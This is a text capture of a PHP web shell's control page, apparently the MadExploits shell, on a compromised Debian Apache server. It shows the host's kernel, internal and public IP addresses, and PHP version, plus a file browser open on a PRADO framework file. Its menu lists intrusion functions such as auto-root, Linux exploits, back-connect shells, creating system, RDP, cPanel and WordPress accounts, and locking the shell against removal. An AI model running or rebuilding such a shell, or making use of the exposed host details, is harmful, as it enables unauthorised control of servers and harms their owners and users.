Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 13.59.54.188
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
Behaviors /
[ HOME SHELL ]
Name
Size
Permission
Action
TBehaviorParameterLoader.php
9.54
KB
-rw-r--r--
TMapLazyLoadBehavior.php
1.78
KB
-rw-r--r--
TMapRouteBehavior.php
3.46
KB
-rw-r--r--
TPageGlobalizationCharsetBehav...
2.22
KB
-rw-r--r--
TPageNoCacheBehavior.php
2.6
KB
-rw-r--r--
TPageTopAnchorBehavior.php
1.64
KB
-rw-r--r--
TParameterizeBehavior.php
8
KB
-rw-r--r--
TTimeZoneParameterBehavior.php
3.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TPageNoCacheBehavior.php
<?php /** * TPageNoCacheBehavior class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util\Behaviors; use Prado\TPropertyValue; use Prado\Web\UI\WebControls\TMetaTag; /** * TPageNoCacheBehavior class. * * TPageNoCacheBehavior attaches to pages and adds no-cache meta to the head. * * {@link getCheckMetaNoCache} specifies whether or not to check the existing * meta tags (in THead of the TPage) before adding the no cache tags. By default * getCheckMetaNoCache is turned off for performance. * * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TPageNoCacheBehavior extends \Prado\Util\TBehavior { /** @var bool check the existing meta tags for the no cache before adding them */ private $_checkMetaNoCache = false; /** * This handles the TPage.OnInitComplete event to place no-cache * meta in the head. * @return array of events as keys and methods as values */ public function events() { return ['OnInitComplete' => 'addNoCacheMeta']; } /** * This method places no-cache meta in the head. * @param object $page object raising the event * @param mixed $param the parameter of the raised event */ public function addNoCacheMeta($page, $param) { if ($head = $page->getHead()) { $hasExpires = $hasPragma = $hasCacheControl = false; $metatags = $head->getMetaTags(); if ($this->_checkMetaNoCache) { foreach ($metatags as $meta) { $httpEquiv = strtolower($meta->getHttpEquiv()); if ($httpEquiv == 'expires') { $hasExpires = true; } elseif ($httpEquiv == 'pragma') { $hasPragma = true; } elseif ($httpEquiv == 'cache-control') { $hasCacheControl = true; } } } if (!$hasExpires) { $meta = new TMetaTag(); $meta->setHttpEquiv('Expires'); $meta->setContent('Fri, Jan 01 1900 00:00:00 GMT'); $metatags->add($meta); } if (!$hasPragma) { $meta = new TMetaTag(); $meta->setHttpEquiv('Pragma'); $meta->setContent('no-cache'); $metatags->add($meta); } if (!$hasCacheControl) { $meta = new TMetaTag(); $meta->setHttpEquiv('Cache-Control'); $meta->setContent('no-cache'); $metatags->add($meta); } } } /** * @return bool checks existing meta tags for no cache */ public function getCheckMetaNoCache() { return $this->_checkMetaNoCache; } /** * @param bool $value checks existing meta tags for no cache */ public function setCheckMetaNoCache($value) { $this->_checkMetaNoCache = TPropertyValue::ensureBoolean($value); } }
Close